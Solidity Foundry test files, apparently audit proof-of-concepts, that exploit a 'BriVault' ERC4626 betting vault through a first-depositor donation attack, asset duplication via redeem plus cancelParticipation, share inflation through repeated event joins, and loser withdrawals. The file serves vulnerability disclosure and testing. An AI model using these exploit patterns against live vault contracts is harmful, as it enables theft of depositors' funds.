pragma solidity ^0.8.24;
import {BriVault, BriVaultExploitTest, IERC20Errors, Math} from "./BriVaultExploitTest.t.sol";
contract BriVaultExploit is BriVaultExploitTest {
using Math for uint256;
function test_criticalDonationAttackDilutesUserSharesToZeroAllowingProfit() external {
uint256 minAmount = 1 wei;
_deployVault(minAmount);
_deposit(attacker1, attacker1, minAmount);
uint256 attackerShares = vault.balanceOf(attacker1);
uint256 maliciousDonation = 100 ether;
token.mint(attacker1, maliciousDonation);
vm.prank(attacker1);
token.transfer(address(vault), maliciousDonation);
_deposit(user1, user1, USER1_AMOUNT);
uint256 user1Shares = vault.balanceOf(user1);
assertGt(attackerShares, user1Shares, "Attacker1 has greater shares than User1 despite smaller deposit");
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
vm.prank(attacker1);
vault.withdraw();
assertGt(token.balanceOf(attacker1), maliciousDonation + minAmount, "Attacker1 got profit");
vm.prank(user1);
vault.withdraw();
assertEq(token.balanceOf(user1), 0, "User1 got nothing");
}
function test_criticalDepositAllowsAssetDuplicationViaERC4626RedeemOrWithdrawAndCancelParticipation() external {
address attacker3 = makeAddr("attacker3");
uint256 balance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
_deposit(attacker2, attacker3, ATTACKER_AMOUNT);
assertEq(vault.balanceOf(attacker3), 0, "Attacker3 did not receive shares");
_erc4626RedeemOrWithdraw(true, attacker2, "Attacker2");
assertEq(token.balanceOf(attacker2), balance, "Attacker2 got funds");
vm.prank(attacker3);
vault.cancelParticipation();
assertEq(token.balanceOf(attacker3), balance, "Attacker3 got funds");
}
function test_criticalCancelParticipationInflatesTotalWinnerSharesCausingUnderpaymentAndLockAssetsInVault()
external
{
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
vm.prank(attacker1);
vault.cancelParticipation();
_endEventAndSetWinner();
uint256 fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
vm.prank(user1);
vault.withdraw();
assertLt(token.balanceOf(user1), fairBalance, "User1 underpaid due to inflated totalWinnerShares");
assertGt(vault.totalAssets(), 0, "Assets stuck in vault");
}
function test_criticalLooserCanWithdrawOrRedeemViaERC4626(bool useRedeem) external {
_joinEvent(attacker1, (WINNER_COUNTRY_ID + 1) % countries.length);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
_erc4626RedeemOrWithdraw(useRedeem, attacker1, "Attacker1");
vm.expectRevert(
abi.encodeWithSelector(
IERC20Errors.ERC20InsufficientBalance.selector,
address(vault),
token.balanceOf((address(vault))),
finalizedVaultAsset
)
);
vm.prank(user1);
vault.withdraw();
_erc4626RedeemOrWithdraw(useRedeem, user1, "User1");
}
function test_criticalMultipleJoinEventInflatesSharesAndLockAssetsInVault(uint8 joinTimes) external {
vm.assume(joinTimes > 1);
for (uint8 i = 0; i < joinTimes; i++) _joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
uint256 attacker1Shares = vault.balanceOf(attacker1);
uint256 user1Shares = vault.balanceOf(user1);
assertEq(totalWinnerShares, attacker1Shares * joinTimes + user1Shares, "Total winner shares incorrect");
uint256 balance = _withdraw(attacker1, attacker1Shares, "Attacker1");
uint256 fairBalance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
assertLt(balance, fairBalance, "Attacker1 final balance is less than fair");
balance = _withdraw(user1, user1Shares, "User1");
fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
assertLt(balance, fairBalance, "User1 final balance is less than fair");
assertGt(vault.totalAssets(), 0, "Assets stuck in vault");
}
function test_criticalNonJoiningEventDepositorsFundWinners() external {
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
uint256 fairBalance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
uint256 balance = _withdraw(attacker1, vault.balanceOf(attacker1), "Winner");
assertGt(balance, fairBalance, "Attacker1 balance is greater than fair");
assertEq(token.balanceOf(address(vault)), 0, "Attacker1 drained whole vault assets balance");
}
function test_criticalDepositOverwritesStakedAsset() external {
_deposit(user1, user1, USER1_AMOUNT);
uint256 fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE) * 2;
vm.prank(user1);
vault.cancelParticipation();
assertLt(token.balanceOf(user1), fairBalance, "User1 got less than fair balance");
}
function test_mediumConstructorWithPastDatesBlocksDepositsAndAllowsImmediateSetWinner() external {
vm.warp(block.timestamp + 100 days);
_deployVault(MIN_AMOUNT);
token.mint(user1, USER1_AMOUNT);
vm.startPrank(user1);
token.approve(address(vault), USER1_AMOUNT);
vm.expectRevert(abi.encodeWithSelector(BriVault.eventStarted.selector));
vault.deposit(USER1_AMOUNT, user1);
vm.stopPrank();
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
assertEq(vault.winner(), countries[WINNER_COUNTRY_ID], "Winner is set");
}
}
pragma solidity ^0.8.24;
import {BriVaultExploitTest} from "./BriVaultExploitTest.t.sol";
contract PocC03 is BriVaultExploitTest {
function test_criticalDonationAttackDilutesUserSharesToZeroAllowingProfit() external {
uint256 minAmount = 1 wei;
_deployVault(minAmount);
_deposit(attacker1, attacker1, minAmount);
uint256 attackerShares = vault.balanceOf(attacker1);
emit log_named_uint("Attacker1 shares", attackerShares);
uint256 maliciousDonation = 100 ether;
token.mint(attacker1, maliciousDonation);
vm.prank(attacker1);
token.transfer(address(vault), maliciousDonation);
_deposit(user1, user1, USER1_AMOUNT);
uint256 user1Shares = vault.balanceOf(user1);
emit log_named_uint("User1 shares", user1Shares);
assertEq(user1Shares, 0, "User1 received zero shares due to donation dilution");
assertEq(attackerShares, vault.totalSupply(), "Attacker1 owns all shares");
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
uint256 vaultBalanceBefore = token.balanceOf(address(vault));
vm.prank(attacker1);
vault.withdraw();
uint256 vaultBalanceAfter = token.balanceOf(address(vault));
uint256 attacker1Balance = token.balanceOf(attacker1);
emit log_named_uint("Attacker1 balance after withdraw", attacker1Balance);
emit log_named_uint("Vault balance after Attacker1 withdraw", vaultBalanceAfter);
assertEq(attacker1Balance, vaultBalanceBefore, "Attacker1 got whole vault balance");
assertEq(vaultBalanceAfter, 0, "Vault is empty after Attacker1 withdraw");
vm.prank(user1);
vault.withdraw();
assertEq(token.balanceOf(user1), 0, "User1 got nothing");
}
}